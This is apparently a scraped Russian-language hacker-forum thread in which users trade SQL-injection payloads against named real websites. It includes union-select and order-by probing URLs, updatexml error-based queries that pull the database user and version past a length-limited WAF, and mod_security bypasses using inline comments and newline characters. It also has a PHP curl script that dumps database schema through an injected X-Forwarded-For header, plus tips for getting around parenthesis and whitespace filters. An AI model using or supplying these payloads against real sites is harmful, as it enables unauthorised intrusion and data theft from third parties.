2013 как default injection value выставляется как бы Но все же консультация по использованию кракнутого автоматического эксплуататора sql инъекций с уязвимостями никак не вяжется и да, у него есть волшебный файл справки, который называется Help.chm, там есть такой волшебный раздел, который называется Basic Settings -> Injecting URL Rewrite Page
http://www.grafomanam.net/author/ADAMANASTAS'+order+by+17+--+ http://www.grafomanam.net/author/ADAMANASTAS'+order+by+18+--+ ошибка не пойму что не так http://www.grafomanam.net/author/ADAMANASTAS'+/*!union*/+(select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17)+--+
Запрос обрабатывается следующим скриптом: ?name=root'\**\or\**\1='1 По идее \**\ должно работать как пробел или нет? Скуль не проходит. Как можно обойти?
Рассмотрим данное регулярное выражение: PHP: if(preg_match('/\s+/', $_GET["name"])) { die("ERROR NO SPACE"); } В строке производится поиск по символьному классу \s, то есть любых пробельных символов - пробел, TAB, etc... Строка, которая их не содержит или строка, длина которой больше pcre.backtrack_limit (в случае с массивом POST) фильтрацию проходит. Использование /**/ возможно. Зависимости - mg=off поскольку sql-инъекция в кавычках.
WAF вырезает некоторые конструкции, а так-же полностью блокирует запрос по рейтингу вхождения в него опасных конструкций. Очень жестокие фильтры, очень много критериев, в том числе проверяется длина(49 символов): Code: http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,lpad([COLOR=Green]user()[/COLOR],[COLOR=DarkOrange]22[/COLOR],0x3A),1)%23 General error: 1105 XPATH syntax error: '::::::::root@localhost' Все сжимал буквально по одному символу, на один символ больше - уже блок, зато юзер - root При WAF - очень редкое явление. UDP1: Code: http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,concat(0x3A,[COLOR=DarkOrange]user()[/COLOR]),1)%23 В этом варианте concat так-же работает, если будет блок - воспользуйтесь вариантом выше. UDP2: Еще варианты сжатия: Code: При спец. символах в выводе: http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,[COLOR=DarkOrange]user()[/COLOR],1)%23 Без них(Работает не всегда): http://www.grafomanam.net/author/ADAMANASTAS%27*updatexml(0,concat(':',[COLOR=DarkOrange]user()[/COLOR]),1)%23 UDP4: Забыл про саму строку: Code: http://www.grafomanam.net/author/%27*updatexml(0,concat(':',[COLOR=DarkOrange]version()[/COLOR]),1)%23 5.5.33-log Путь очень длинный: PHP: /usr/local/www/apache22/data/grafomanam/sites/index.php Если только блайндом таблицы выводить с брутом полей - на простой вывод идет очень много символов. MySQL на UNIX-сокете висит, так что удаленно не подключится. Или как вариант - обойти ЧПУ, если фильтр на длину в нем.
что с этой скулей не так? __http://www.fuelthebrain.com/mini-books/print.php?bookID=1329876958' order by 11%23
An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security. (в Вашем случае фильтруются union и select) Крутите,как слепую:
Легче крутить с использованием вывода, второе и третье поля принтабельны: Code: 1329876958'+/*!%0Dunion%0Dselect%0D*FROM(select 1) a1 join (select version()) a2 join (select 3) a3 join (select 4) a4 join (select 5) a5 join (select 6) a6 join (select 7) a7 join (select 8) a8 join (select 9) a9 join (select 10) a10 join (select 11) a11*/+--+ PHP: Используем комментарий для обхода одного фильтра: /*!КОД*/ Символ переноса для второго: /*!%0Dunion%0Dselect%0D*/ И для третьего фильтра создаем собственную таблицу через подзапросы, псевдонимы и join: /*!%0Dunion%0Dselect%0D*FROM(select 1) a1 join (select version()) a2 join (select 3) a3 join (select 4) a4 join (select 5) a5 join (select 6) a6 join (select 7) a7 join (select 8) a8 join (select 9) a9 join (select 10) a10 join (select 11) a11*/
Вы что, в count(*) лимит перебираете? Работает, пример вывода таблиц с колонками: PHP: <?php $ch = curl_init(); curl_setopt_array($ch, array( CURLOPT_URL => "http://site.ru/works/247964/", CURLOPT_RETURNTRANSFER => True, CURLOPT_ENCODING => 'gzip, deflate', )); for ($i=1; true; $i += 64) { //$main = 'version()'; $main = 'MID(CONCAT(@p:=0x20,(SELECT COUNT(*) FROM information_schema.columns WHERE TABLE_SCHEMA !=0x696e666f726d6174696f6e5f736368656d61 and @p:= CONCAT(@p,0x3B, TABLE_SCHEMA,0x3A,TABLE_NAME, 0x3A,COLUMN_NAME) ),@p),5)'; $sql = '1"or 1 group by concat( mid(('.$main.'),'.$i.',64), floor(rand(0)*2)) having min(0) or 1 #'; $sql = str_replace(" ", "/**/", $sql); curl_setopt($ch, CURLOPT_HTTPHEADER, array("x-forwarded-for: ".$sql)); $resp = curl_exec($ch); $resp = explode('Duplicate entry \'', $resp, 2); echo str_replace(";", "\n", substr($resp[1], 0, 64)); } curl_close($ch); Выход: Ctrl+C. Запуск в консоли.
Ошибка Ошибка при попытке подключиться к information_schema.tables +UNION+SELECT+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16+from+information_schema.tables/* Query Failed: Can't read dir of './test/' (errno: 13) Query:Select a.*, b.image_filename, b.image_width, b.image_height from AMJ_Article a left join AMJ_Article_Image b on (a.article_id = b.article_id and b.image_main = 1) where a.article_type = 'TRENDS' and a.article_id = 1 UNION SELECT 1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16 from information_schema.tables/* Что это значит? версия 5.0.22
Добрый день! при запросе: ?id=-4099+union+select+1,2,3,4,5,@@version,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33-- версия выводится замечательно, но если мы заменим @@version на version(), то откроется просто белая страница, сервер фильтрует круглые скобки, невозможно обратиться ни к одной функции из-за этого. Как можно обойти данную проблему?
-4099+0x756E696F6E2B73656C6563742B312C322C332C342C352C404076657273696F6E2C372C382C392C31302C31312C31322C31332C31342C31352C31362C31372C31382C31392C32302C32312C32322C32332C32342C32352C32362C32372C32382C32392C33302C33312C33322C3333 Ничего не дало.
Вариант 1: Не использовать функции Вариант 2: Проверить, попадают ли данные из какой-либо колонки в другой запрос, и есть ли там инъекция. Если да - то можно обойти фильтр посылая данные второй инъекции хексом в колонку. Вариант 3: NULL-byte, не соответствующие друг другу скобки, Комментарии /*! SQL*/, Символ переноса строки между скобками при фильтре парных скобок version(%0A%0D), etc В MySQL хекс используется только для строк. Захексить функцию, или весь запрос вам не удастся.